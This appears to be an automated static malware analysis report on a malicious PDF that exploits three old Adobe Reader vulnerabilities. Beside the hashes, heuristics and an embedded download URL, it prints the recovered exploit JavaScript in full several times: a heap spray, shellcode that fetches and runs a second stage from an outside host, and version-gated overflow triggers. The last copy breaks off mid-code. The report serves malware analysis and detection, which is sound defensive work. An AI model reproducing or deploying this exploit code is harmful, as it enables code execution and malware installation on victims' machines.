Malicious PDF — malware analysis report

Static analysis result for SHA-256 9da3e82e31d88496…

MALICIOUS

PDF

2.5 KB Created: 2008-31-20 53:85:00 Authoring application: aaaaaaaa First seen: 2013-04-07
MD5: 2f2cbb5f60d7b3071947a358dcc209d2 SHA-1: c2125021de85b2cbc6b96d8db522844768c3184b SHA-256: 9da3e82e31d8849690dfe60e180d52e575b861ab5eeaf0067ecbcc273ff3860e
630 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell T1204.001 Malicious Link

This PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities, specifically CVE-2009-0927 (Collab.getIcon), CVE-2007-5659 (Collab.collectEmailInfo), and CVE-2008-2992 (util.printf). The ML classifier and ClamAV detection strongly indicate malicious intent. The JavaScript is obfuscated and appears to be part of an exploit kit designed to deliver a second-stage payload.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (matched in decompressed stream)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (matched in decompressed stream)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Exploit.Agent-36014 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36014
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    vare57i=newArray();functionp19c(x50u,i25i){while(x50u.length*2<i25i){x50u=x50u;}x50u=x50u.substring(0,i25i/2);returnx50u;}functionh40p(t35f){varj36x=0x0c0c0c0c;varv2g=unescape(%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56 …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Hex-obfuscated structural name object high PDF_OBFUSCATED_NAME_OBJECT
    A structurally-dangerous PDF name (e.g. /OpenAction, /Launch, /AA, /EmbeddedFile, /SubmitForm) is written with #XX hex escapes to evade string-based scanners. Legitimate producers write these names literally; hex-encoding them is a deliberate obfuscation technique.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://laed.ru/exp/load.php?stat=Windows Referenced by PDF JavaScript
    • http://laed.ru/exp/load.php?stat=WReferenced by PDF JavaScript
🗂 Part of campaign: laed.ru 5 samples

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 7

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_001.js pdf-javascript-stream PDF /JS object 13 at offset 0x328 4104 bytes
SHA-256: 366c6e4ab30c228fa00ff0f376b2b45e2a362db16cd45cbf757d1c6797960a9b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var e57i = new Array();
function p19c(x50u, i25i){
 while (x50u.length * 2 < i25i){
x50u += x50u;
}
x50u = x50u.substring(0, i25i / 2);
return x50u;
}
function h40p(t35f){
var j36x = 0x0c0c0c0c;
var v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (t35f == 1){
j36x = 0x30303030;
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (t35f == 2){
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var r48i = 0x400000;
var p57s = v2g.length * 2;
var i25i = r48i - (p57s + 0x38);
var x50u = unescape("%u9090%u9090");
x50u = p19c(x50u, i25i);
var m77h = (j36x - 0x400000) / r48i;
for (var v40l = 0; v40l < m77h; v40l ++ ){
e57i[v40l] = x50u + v2g;
}
}
function z30a(){
var t64g = app.viewerVersion.toString();
if (t64g > 8){
h40p(1);
var c95p = "12999999999999999999";
for (t70a = 0; t70a < 276; t70a ++ ){
c95p += "8";
}
util.printf("%45000f", c95p);
}
if (t64g < 8){
h40p(0);
var z10j = unescape("%u0c0c%u0c0c");
while (z10j.length < 44952)z10j += z10j;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : z10j});
}
if (t64g < 9.1)
{
if (app.doc.Collab.getIcon){
h40p(2);
var x94j = unescape("%09");
while (x94j.length < 0x4000)x94j += x94j;
x94j = "N." + x94j;
app.doc.Collab.getIcon(x94j);
}
}
}
z30a();
javascript_obj0013_001_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: ce086e65842a094051d43df95bb8150fff9464a31e8bad973713b8c5a4adcd29
javascript_obj0013_001_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 804ee4154c51f3cc0331d862bbc3cb26ccd5ee0da3c949b7c85457db313bf0b2
javascript_obj0013_001_shellcode_02.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 13 at offset 0x328 324 bytes
SHA-256: 80d16f16b4ae380d207e27678cdb40cfc469577a1b55d2c28db0208deff024b6
generic_stage_recovery_000.js deobfuscated-js generic stage recovery percent-decode from JavaScript object 13 at offset 0x328 4100 bytes
SHA-256: 17b4aef4a074a064a187cd96a23ede8a9a188eaf0d0990fb25311575281d3375
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var e57i = new Array();
function p19c(x50u, i25i){
 while (x50u.length * 2 < i25i){
x50u += x50u;
}
x50u = x50u.substring(0, i25i / 2);
return x50u;
}
function h40p(t35f){
var j36x = 0x0c0c0c0c;
var v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (t35f == 1){
j36x = 0x30303030;
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (t35f == 2){
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var r48i = 0x400000;
var p57s = v2g.length * 2;
var i25i = r48i - (p57s + 0x38);
var x50u = unescape("%u9090%u9090");
x50u = p19c(x50u, i25i);
var m77h = (j36x - 0x400000) / r48i;
for (var v40l = 0; v40l < m77h; v40l ++ ){
e57i[v40l] = x50u + v2g;
}
}
function z30a(){
var t64g = app.viewerVersion.toString();
if (t64g > 8){
h40p(1);
var c95p = "12999999999999999999";
for (t70a = 0; t70a < 276; t70a ++ ){
c95p += "8";
}
util.printf("E000f", c95p);
}
if (t64g < 8){
h40p(0);
var z10j = unescape("%u0c0c%u0c0c");
while (z10j.length < 44952)z10j += z10j;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : z10j});
}
if (t64g < 9.1)
{
if (app.doc.Collab.getIcon){
h40p(2);
var x94j = unescape("	");
while (x94j.length < 0x4000)x94j += x94j;
x94j = "N." + x94j;
app.doc.Collab.getIcon(x94j);
}
}
}
z30a();
generic_stage_recovery_001.js deobfuscated-js generic stage recovery percent-decode from combined JavaScript objects at offset 0x9 4111 bytes
SHA-256: 5b097af502d8347dc1434fc7f9c6879eec8889b1036b35efd87bcfdfe3a4d3ad
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var e57i = new Array();
function p19c(x50u, i25i){
 while (x50u.length * 2 < i25i){
x50u += x50u;
}
x50u = x50u.substring(0, i25i / 2);
return x50u;
}
function h40p(t35f){
var j36x = 0x0c0c0c0c;
var v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (t35f == 1){
j36x = 0x30303030;
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (t35f == 2){
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0033");
}
var r48i = 0x400000;
var p57s = v2g.length * 2;
var i25i = r48i - (p57s + 0x38);
var x50u = unescape("%u9090%u9090");
x50u = p19c(x50u, i25i);
var m77h = (j36x - 0x400000) / r48i;
for (var v40l = 0; v40l < m77h; v40l ++ ){
e57i[v40l] = x50u + v2g;
}
}
function z30a(){
var t64g = app.viewerVersion.toString();
if (t64g > 8){
h40p(1);
var c95p = "12999999999999999999";
for (t70a = 0; t70a < 276; t70a ++ ){
c95p += "8";
}
util.printf("E000f", c95p);
}
if (t64g < 8){
h40p(0);
var z10j = unescape("%u0c0c%u0c0c");
while (z10j.length < 44952)z10j += z10j;
this .collabStore = Collab.collectEmailInfo({
subj : "", msg : z10j});
}
if (t64g < 9.1)
{
if (app.doc.Collab.getIcon){
h40p(2);
var x94j = unescape("	");
while (x94j.length < 0x4000)x94j += x94j;
x94j = "N." + x94j;
app.doc.Collab.getIcon(x94j);
}
}
}
z30a();
combined_document_js_000.js deobfuscated-js combined document JavaScript streams at offset 0x9 4115 bytes
SHA-256: bd023c0feb994a8e56a373bfe614901097fd7ccd284f7c7b62c88153d19131b8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 6 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
this.I1L()
var e57i = new Array();
function p19c(x50u, i25i){
 while (x50u.length * 2 < i25i){
x50u += x50u;
}
x50u = x50u.substring(0, i25i / 2);
return x50u;
}
function h40p(t35f){
var j36x = 0x0c0c0c0c;
var v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0031");
if (t35f == 1){
j36x = 0x30303030;
v2g = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%uB0AB%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u31C2%u5052%u36B8%u2F1A%uFF70%u0455%u335B%u57FF%uB856%uFE98%u0E8A%u55FF%u5704%uEFB8%uE0CE%uFF60%u0455%u7468%u7074%u2F3A%u6C2F%u6561%u2E64%u7572%u652F%u7078%u6C2F%u616F%u2E64%u6870%u3F70%u7473%u7461%u573D%u6E69%u6F64%u7377%u5820%u7C50%u6E49%u6574%u6E72%u7465%u4520%u7078%u6F6C%u6572%u2072%u2E37%u7C30%u5355%u497C%u746E%u7265%u656E%u2074%u7845%u6C70%u726F%u7265%u6C2F%u616F%u2E64%u6870%u2670%u3D73%u0032");
}
if (t35f == 2){
